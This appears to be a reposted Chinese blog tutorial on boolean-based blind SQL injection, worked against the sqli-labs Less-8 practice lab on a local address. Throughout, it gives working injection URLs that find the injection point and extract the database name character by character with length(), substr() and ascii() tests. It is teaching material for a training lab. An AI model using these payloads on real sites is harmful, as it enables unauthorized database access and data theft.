应用布尔盲注来爆库
Posted 海枫
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了应用布尔盲注来爆库相关的知识,希望对你有一定的参考价值。
先上道练习题Less-8
打开sqli-labs项目的练习题Less-8(http://192.168.3.2/sqli-labs/Less-8/),然后输入id=1参数,可以得到以下信息:
输入有效id=1时,只提示成功(You are in …………),没有任何其它信息输入。这对于攻击者来说,无异于两眼一黑,什么也得不到。
盲注条件
根据上篇文章《基于错误信息的SQL盲注》,对题目做盲注,如下表:
注入ur | 结果 |
---|---|
http://192.168.3.2/sqli-labs/Less-8/?id=-1 or 1=1 | 失败 |
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1# | 成功 |
http://192.168.3.2/sqli-labs/Less-8/?id=" or 1=1# | 失败 |
于是找到注入URL
请注意在浏览器上使用%23
代替#
。
使用布尔盲注来获取数据
找到了注入的条件,但成功没有任何数据显示。那怎么获取数据库里面的内容呢?
我小时候看香港电视剧比较多,经常出现这样的桥段:
当A向B了解一些重要信息时,但碍于一些信仰问题,总是不能直接回答,那怎么办法呢? B虽然不能向A说一些关于秘密的内容,但A可以向B问一些问题,B只需回答是或否就可以了。
这样B不触犯神灵,也没有向A”透露”秘密,但最终让A知道了整个秘密
布尔盲注,跟上面的桥段完全相同。
既然已经找到注入点了,那在后面增加一些条件测试,就可以知道条件是否成功了。比如:
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test1")
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test2")
…
可以不停地使用暴力办法,将数据库名字不停地穷举,直到成功。
等等,这种办法跟穷举密码有什么两样呢,效率很低,耗时长,有什么更好的方法。
其实mysql支持的SQL语句中提供了一系列的字符串操作函数,可以将字符的第一个,第二个,……,抽取出来,做布尔测试。
相当于
你的姓是赵,对不对 ?
--
不对
你的姓是张,对不对?--
对了
你的名字是小明,对不对?--
不对
你的名字是无忌,对不对?--
对了
经过对每部分的问题和回答,可以知道是张无忌
如何猜测database()的内容
按上面的思路来试一下,先猜长度
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 1#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 2#
直到8时才成功
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 8#
知道了database()长度为8,接下来就对每个字符做猜测。
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1, 1))=48#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=49#
…
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=115#
试到115时才成功,115是s
字符的ASCII码,说明database()第一个字符是s
,依次使用这个方法可以尝试出database()为security
字符串。
这个过程主要是使用了MySQL上的substr函数和ascii函数。感兴趣的朋友可以google/baidu一下这两个函数的用法。
上述人工搜索过程太繁琐了,可以使用python脚本将这过程自动化。
下一篇讲如何编写这个python脚本,以及提供一个将MySQL数据库dump出来的脚本。
以上是关于应用布尔盲注来爆库的主要内容,如果未能解决你的问题,请参考以下文章